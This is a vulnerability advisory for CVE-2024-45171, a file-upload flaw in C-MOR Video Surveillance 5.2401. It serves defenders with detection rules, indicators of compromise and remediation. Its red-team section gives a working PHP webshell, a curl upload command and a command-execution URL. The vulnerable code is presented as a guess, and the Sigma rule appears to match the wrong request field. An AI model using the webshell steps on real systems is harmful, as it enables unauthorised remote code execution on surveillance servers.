CVE-2024-45171

Executive Summary

CVE-2024-45171 is a critical vulnerability in za-internet C-MOR Video Surveillance version 5.2401. The flaw resides in the backup file upload functionality, which fails to properly validate user-supplied filenames. An authenticated attacker can upload arbitrary files, including PHP webshells, by ensuring the filename contains the string .cbkf. The uploaded file is stored in /srv/www/backups and is accessible via the web server, leading to remote code execution. The vulnerability is compounded by broken access controls, allowing low-privileged users to exploit it. No patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical – Exploitation is straightforward and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) combined with broken access control. The C-MOR web application includes a backup upload feature intended for .cbkf files. However, the validation only checks if the filename contains the substring .cbkf, not that the file extension is exactly .cbkf. This allows an attacker to upload a file named webshell.cbkf.php. The PHP interpreter processes the .php extension, executing the malicious code.

The upload endpoint stores files in /srv/www/backups with a prefix upload_. The resulting URL is https://<HOST>/backup/upload_<FILENAME>. Since the web server serves this directory, the attacker can directly access the uploaded PHP file and execute arbitrary commands.

The broken access control means that even low-privileged authenticated users (e.g., operators) can access this upload functionality, which should be restricted to administrators.

Vulnerable vs. Patched Code

Vulnerable Code (C-MOR 5.2401): The upload handler likely checks for .cbkf in the filename using a simple string containment check:

if (strpos($_FILES['file']['name'], '.cbkf') !== false) {
    // Accept file
    move_uploaded_file($_FILES['file']['tmp_name'], '/srv/www/backups/upload_' . $_FILES['file']['name']);
}

Patched Code (Hypothetical): A secure implementation would validate the file extension exactly and restrict uploads to administrators:

$allowed_ext = '.cbkf';
$file_ext = strrchr($_FILES['file']['name'], '.');
if ($file_ext === $allowed_ext && user_is_admin()) {
    move_uploaded_file($_FILES['file']['tmp_name'], '/srv/www/backups/upload_' . basename($_FILES['file']['name']));
} else {
    die('Invalid file or insufficient privileges.');
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Authenticated session cookie for a low-privileged user on C-MOR 5.2401.
• Network access to the C-MOR web interface.

Exploit Steps:

1. Create a PHP webshell with a .cbkf.php extension:

   <?php system($_GET['cmd']); ?>
   

   Save as shell.cbkf.php.

2. Upload the file via the backup upload functionality (e.g., using curl):

   curl -X POST -F "file=@shell.cbkf.php" -b "session=YOUR_SESSION_COOKIE" http://target/backup/upload
   

3. Access the uploaded webshell:

   http://target/backup/upload_shell.cbkf.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

• Monitor for file uploads with filenames containing .cbkf but ending in .php, .asp, .jsp, etc.
• Alert on access to /backup/upload_*.php URLs.
• Review access logs for unusual POST requests to the backup upload endpoint from low-privileged users.

Hunting Queries:

• Search for files in /srv/www/backups with extensions other than .cbkf.
• Check for processes spawned by the web server user (www-data) that are not typical.

Indicators of Compromise (IOCs)

• File Artifacts:
  • /srv/www/backups/upload_*.php (any PHP file in this directory)
  • /srv/www/backups/upload_*.cbkf.php (specifically)
• Network IOCs:
  • HTTP POST requests to /backup/upload with multipart form data containing .cbkf.php filenames.
  • HTTP GET requests to /backup/upload_*.php?cmd= or similar query strings.
• Log Entries:
  • Web server access logs showing POST /backup/upload followed by GET /backup/upload_*.php.
  • System logs showing execution of commands like id, whoami, uname -a from the web server user.

Detection Engineering

YARA Rule

rule CVE_2024_45171_Webshell_Upload {
    meta:
        description = "Detects PHP webshells uploaded via C-MOR backup upload vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45171"
    strings:
        $php_tag = "<?php"
        $system_call = /system\(|exec\(|shell_exec\(|passthru\(/
        $cbkf_indicator = ".cbkf"
    condition:
        $php_tag and $system_call and $cbkf_indicator
}

Sigma Rule

title: C-MOR Backup Upload Webshell Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to C-MOR backup upload endpoint with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/backup/upload'
        cs-uri-query|contains: '.cbkf.php'
    condition: selection
falsepositives:
    - Legitimate backup files with .cbkf extension (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45171 C-MOR Backup Upload Webshell"; flow:to_server,established; content:"POST"; http_method; content:"/backup/upload"; http_uri; content:".cbkf.php"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict access to the backup upload functionality to only administrative users via web server configuration or application-level access controls.
2. Disable PHP execution in the /srv/www/backups directory by adding the following to the Apache configuration:

   <Directory /srv/www/backups>
       php_admin_flag engine off
   </Directory>
   

3. Implement strict file extension validation on the server side (e.g., only allow .cbkf exactly).

Long-Term Fix:

• Apply an official patch from za-internet when available.
• Conduct a security audit of all file upload functionalities.
• Implement a Web Application Firewall (WAF) rule to block uploads with mixed extensions.

Workaround:

• Remove write permissions for the web server user on /srv/www/backups if backup functionality is not critical.

Valters IT
Securing Digital Frontiers